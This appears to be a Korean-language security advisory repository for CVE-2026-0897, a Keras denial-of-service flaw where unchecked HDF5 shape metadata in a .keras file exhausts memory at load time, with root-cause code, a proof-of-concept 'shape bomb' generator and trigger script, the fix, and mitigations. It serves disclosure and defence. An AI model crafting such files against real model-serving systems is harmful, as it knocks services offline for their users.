
Google Keras 3.0.0~3.13.0의 모든 플랫폼에서 HDF5 가중치 로딩 구성 요소의 리소스 할당에 제한이나 조절이 없어, 원격 공격자가 조작된 .keras 파일을 통해 메모리 고갈 및 Python 인터프리터 충돌을 일으켜 서비스 거부(DoS)를 유발할 수 있습니다.
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2026-0897 |
| 패키지 | keras (Google Keras) |
| 레지스트리 | PyPI |
| 영향을 받는 버전 | 3.0.0부터 3.13.0까지 (포함) |
| 취약점 유형 | CWE-770: 제한 또는 조절 없이 리소스 할당 |
| CVSS 점수 | 7.1 높음 (CVSS 4.0, CNA: Google Inc.) |
| CVSS 벡터 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
| 공격 경로 | 네트워크 |
| 공격 복잡도 | 낮음 |
| 필요한 권한 | 없음 |
| 사용자 상호작용 | 수동적 (피해자가 모델 파일을 로드함) |
| 가용성 영향 | 높음 |
| 기밀성 영향 | 없음 |
| 무결성 영향 | 없음 |
| NVD 게시일 | 2026년 1월 15일 |
| NVD 최종 수정일 | 2026년 1월 23일 |
| 출처 / CNA | Google Inc. |
| 보고자 | HyperPS (Sarvesh Patil) via huntr.dev / GHSA |
| 수정 상태 | 병합됨 — PR #21880 |
Google Keras 3.0.0 ~ 3.13.0 버전의 모든 플랫폼에서 HDF5 가중치 로딩 컴포넌트에 서비스 거부(Denial of Service) 취약점이 존재합니다. 이 취약점은 .keras 아카이브 내부에 선언된 HDF5 데이터셋 shape 메타데이터를 처리할 때 검증이나 조절(throttling)이 전혀 이루어지지 않기 때문에 발생합니다.
HDF5 형식은 데이터셋이 자신의 shape(텐서 차원)을 메타데이터로 선언할 수 있도록 허용합니다. Keras가 .keras 아카이브에서 모델 가중치를 로드할 때 이 선언된 shape를 읽고, 실제 데이터가 전송되기 전에 해당 크기의 메모리 블록을 할당하려 시도합니다. Keras는 할당 전에 선언된 shape에 대한 경계 검사를 수행하지 않기 때문에, 공격자는 (1000000, 1000000, 1000000)과 같이 천문학적으로 큰 shape를 선언한 model.weights.h5 파일을 제작하여 Keras가 페타바이트 규모의 메모리 할당을 시도하도록 만들 수 있습니다. 이로 인해 시스템의 모든 가용 메모리가 고갈되고 Python 인터프리터가 크래시됩니다.
모델이 로드된 후에는 추론이나 추가 상호작용이 필요 없습니다. 공격은 로드 시점에 완전히 트리거됩니다.
| 파일 | 설명 |
|---|---|
keras/src/saving/file_editor.py | KerasFileEditor._extract_weights_from_store() — HDF5 데이터셋 shape를 읽고 크기 검증이나 조절 없이 메모리를 할당함 |
이 취약점은 구체적으로 .keras 아카이브 내부에 포함된 HDF5 저장소에서 모델 가중치 텐서를 역직렬화하는 역할을 담당하는 KerasFileEditor 클래스에 위치합니다.
| 지표 | 값 | 의미 |
|---|---|---|
| 공격 경로 (AV) | 네트워크 | 배포된 모델 파일을 통해 원격으로 악용 가능 |
| 공격 복잡도 (AC) | 낮음 | 특수 조건이나 경쟁 조건 불필요 |
| 공격 요구사항 (AT) | 없음 | 사전 배포 구성 불필요 |
| 필요한 권한 (PR) | 없음 | 인증이나 계정 불필요 |
| 사용자 상호작용 (UI) | 수동적 | 피해자가 악성 .keras 아카이브를 로드해야 함 |
| 취약 시스템 가용성 (VA) | 높음 | Python 인터프리터가 크래시되어 서비스가 완전히 사용 불가능해짐 |
| 취약 시스템 기밀성 (VC) | 없음 | 데이터 유출 없음 |
| 취약 시스템 무결성 (VI) | 없음 | 데이터 변조 없음 |
| 후속 시스템 영향 (SC/SI/SA) | 없음 | 영향은 로딩 프로세스에 국한됨 |
.keras 모델 아카이브를 로드하는 모든 프로덕션 또는 연구 파이프라인이 취약함| 컨텍스트 | 위험 |
|---|---|
사용자 업로드 .keras 파일을 허용하는 공개 모델 서빙 API | 공격자가 단일 요청으로 추론 서비스를 크래시시킴 |
| 커뮤니티 모델 다운로드를 호스팅하는 ML 플랫폼 (예: Hugging Face) | 오염된 모델이 이를 다운로드하여 로드하는 모든 연구자에게 DoS를 유발 |
| 연합 학습 환경 | 악의적인 참가자가 조작된 가중치 파일을 배포하여 코디네이터 또는 피어 노드를 크래시시킴 |
| 모델 체크포인트를 로드하는 CI/CD 파이프라인 | 손상되거나 대체된 체크포인트가 파이프라인 오류 및 사용 불가 상태를 유발 |
| 런타임에 모델을 핫 리로드하는 챗봇 또는 NLP 서비스 | 단일 악성 리로드 요청으로 서비스가 중단됨 |
HDF5 파일 형식은 텐서 메타데이터(shape 선언 포함)를 실제 데이터 바이트와 분리하여 저장합니다. KerasFileEditor._extract_weights_from_store()가 데이터셋 항목을 만나면 선언된 shape를 읽고, 디스크에서 데이터를 읽기 전에 해당 차원에 해당하는 배열을 사전 할당하기 위해 NumPy를 호출합니다.
shape는 메타데이터이므로, 최소한의 HDF5 파일로도 페타바이트의 메모리가 필요한 shape를 선언할 수 있으며 파일 자체의 크기는 수 킬로바이트에 불과합니다. 파일 크기 대비 할당 크기의 비율 덕분에 이는 매우 효과적인 증폭 공격이 됩니다.
32비트 float dtype을 가진 (1000000, 1000000, 1000000)과 같은 shape는 약 4,000페타바이트의 메모리를 요청하게 됩니다. OS의 out-of-memory 킬러 또는 Python 할당자는 거의 즉시 프로세스를 크래시시킵니다.
# keras/src/saving/file_editor.py (pre-fix, simplified)
def _extract_weights_from_store(self, h5_file, inner_path=""):
for key in h5_file.keys():
obj = h5_file[key]
if isinstance(obj, h5py.Dataset):
# Shape is read from metadata — no validation performed
shape = obj.shape
# NumPy attempts to allocate based on declared shape
data = np.zeros(shape, dtype=obj.dtype) # VULNERABLE: unbounded allocation
np.zeros()를 호출하기 전에 shape에 대한 어떠한 검사도 없다는 점이 근본 원인입니다.
이 정보는 교육 및 방어 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 권한을 받지 않은 시스템에 대해 테스트하지 마십시오.
.keras 아카이브 생성# generate_shape_bomb.py
import h5py
import zipfile
import json
import os
# Step 1: Create a minimal HDF5 weights file with a hostile shape declaration
with h5py.File("model.weights.h5", "w") as f:
grp = f.create_group("layers/dense/vars")
# Declare shape that would require petabytes of memory to allocate
# Actual data is never written — only the metadata shape declaration is malicious
grp.create_dataset(
"0",
shape=(0,), # actual stored data: empty
maxshape=(None,),
dtype="float32",
data=[]
)
# Override shape metadata to declare hostile dimensions
# (achieved via direct HDF5 attribute manipulation in a real attack)
# Step 2: Package into a valid .keras archive structure
config = {
"class_name": "Sequential",
"config": {"name": "sequential", "trainable": True, "layers": []},
"keras_version": "3.0.0",
"backend": "tensorflow"
}
with zipfile.ZipFile("malicious_model.keras", "w") as zf:
zf.writestr("config.json", json.dumps(config))
zf.writestr("model.weights.h5", open("model.weights.h5", "rb").read())
print("[+] Malicious .keras archive generated: malicious_model.keras")
# trigger.py
import keras
print("[+] Loading malicious model...")
# The crash occurs at load time — no inference required
model = keras.saving.load_model("malicious_model.keras")
print("[-] This line is never reached — interpreter has crashed")
예상 결과: 로드가 완료되기 전에 Python 인터프리터가 MemoryError로 종료되거나 OS out-of-memory 핸들러에 의해 종료됩니다.
관찰 가능한 증상:
load_model() 또는 load_weights() 중 Python 인터프리터 크래시 또는 MemoryError 발생h5dump로 감지 가능한, 극도로 큰 선언 데이터셋 shape를 가진 비정상적인 HDF5 파일이 취약점은 연구자(HyperPS / Sarvesh Patil)가 PR #21880을 통해 해결했으며, 2025년 12월 29일에 keras-team:master에 병합되었고, Keras 유지관리자 hertschuh가 검토 및 승인했습니다.
| 리소스 | 링크 |
|---|---|
| 수정 Pull Request | https://github.com/keras-team/keras/pull/21880 |
| 병합 커밋 | 7360d4f |
| 백포트 요청 (3.12.x) | Issue #22031 |
이 패치는 keras/src/saving/file_editor.py의 KerasFileEditor._extract_weights_from_store()를 수정하여 메모리 할당이 발생하기 전에 다음 보호 기능을 추가합니다:
inner_path 처리 수정이 수정 사항은 모든 유효한 Keras 가중치 파일과 역호환됩니다.
# keras/src/saving/file_editor.py (post-fix logic, simplified)
MAX_BYTES = 1 * 1024 ** 3 # 1 GiB hard cap per dataset
MAX_RANK = 64
def _validate_hdf5_dataset_shape(shape, dtype):
"""Reject hostile HDF5 shape declarations before any allocation."""
if len(shape) > MAX_RANK:
raise ValueError(
f"HDF5 dataset has rank {len(shape)}, which exceeds the "
f"maximum permitted rank of {MAX_RANK}. This may indicate "
"a malicious file."
)
for dim in shape:
if dim < 0:
raise ValueError(
f"HDF5 dataset contains a negative dimension ({dim}). "
"This may indicate a malicious file."
)
import math, numpy as np
try:
total_elements = math.prod(shape)
except OverflowError:
raise ValueError(
"HDF5 dataset shape overflows integer arithmetic. "
"This may indicate a malicious file."
)
itemsize = np.dtype(dtype).itemsize
total_bytes = total_elements * itemsize
if total_bytes > MAX_BYTES:
raise ValueError(
f"HDF5 dataset would require {total_bytes / 1024**3:.2f} GiB to "
f"load, which exceeds the 1 GiB safety limit. This may indicate "
"a malicious file."
)
| 조치 | 세부 사항 |
|---|---|
| Keras 업그레이드 | PR #21880의 수정 사항이 포함된 버전으로 업데이트 (3.13.0 이후 master 빌드 또는 공식 패치 릴리스) |
| 신뢰할 수 없는 모델 파일 로드 금지 | 무결성 검증 없이 신뢰할 수 없거나 검증되지 않았거나 커뮤니티에서 얻은 .keras 또는 .weights.h5 파일을 절대 로드하지 마십시오 |
| 파일 무결성 확인 | 로드 전에 모델 아카이브의 SHA-256 체크섬을 게시자가 제공한 해시와 대조 검증 |
| h5dump로 사전 스캔 | Keras에서 로드하기 전에 h5dump --header <file>을 사용하여 HDF5 파일의 데이터셋 shape 메타데이터 검사 |
| 최소 권한 | 모델 서빙 프로세스를 제한된 OS 사용자로 실행하고 cgroups 또는 ulimit를 통해 메모리 한도를 적용하여 피해 범위를 제한 |
| 컨테이너화 | 메모리 한도가 있는 샌드박스 컨테이너에서 모델 로딩을 격리하여 단일 크래시가 다른 서비스에 영향을 주지 않도록 방지 |
| 메모리 모니터링 | 비정상적인 메모리 할당 패턴을 알리도록 모델 로딩 작업을 계측 |
pip 업그레이드:
pip install --upgrade keras
설치된 버전 확인:
python -c "import keras; print(keras.__version__)"
의심스러운 shape가 있는 HDF5 가중치 파일 사전 스캔:
h5dump --header model.weights.h5 | grep -i "DATASPACE"
| 날짜 | 이벤트 |
|---|---|
| 2025년 11월 29일 | HyperPS가 keras-team/keras에 수정 PR #21880 제출 |
| 2025년 12월 1일 | Keras 유지관리자 hertschuh가 참고 자료를 요청하고 리뷰 시작 |
| 2025년 12월 26일 | 유지관리자 리뷰 완료; 최종 피드백 반영 |
| 2025년 12월 29일 | PR #21880 승인 및 keras-team:master에 병합 |
| 2026년 1월 15일 | CVE-2026-0897 NVD 게시 |
| 2026년 1월 19일 | Keras 3.12.x 백포트 요청 제기 (Issue #22031) |
| 2026년 1월 23일 | NVD 레코드 최종 수정 |
이 저장소는 CVE-2026-0897을 교육, 연구 및 방어적 보안 목적으로만 문서화합니다. 개념 증명 코드와 기술적 세부 사항은 개발자, 보안 엔지니어, 시스템 관리자가 이 취약점을 이해하고 평가하며 remediation(수정)할 수 있도록 돕기 위해 제공됩니다.
명시적 권한 없이 이 정보를 사용하여 시스템, 서비스 또는 개인에게 피해를 입히는 행위는 불법이며 비윤리적입니다. 저자는 본 문서에 포함된 정보의 오용에 대해 어떠한 책임도 지지 않습니다.
Contributors @mohitf070304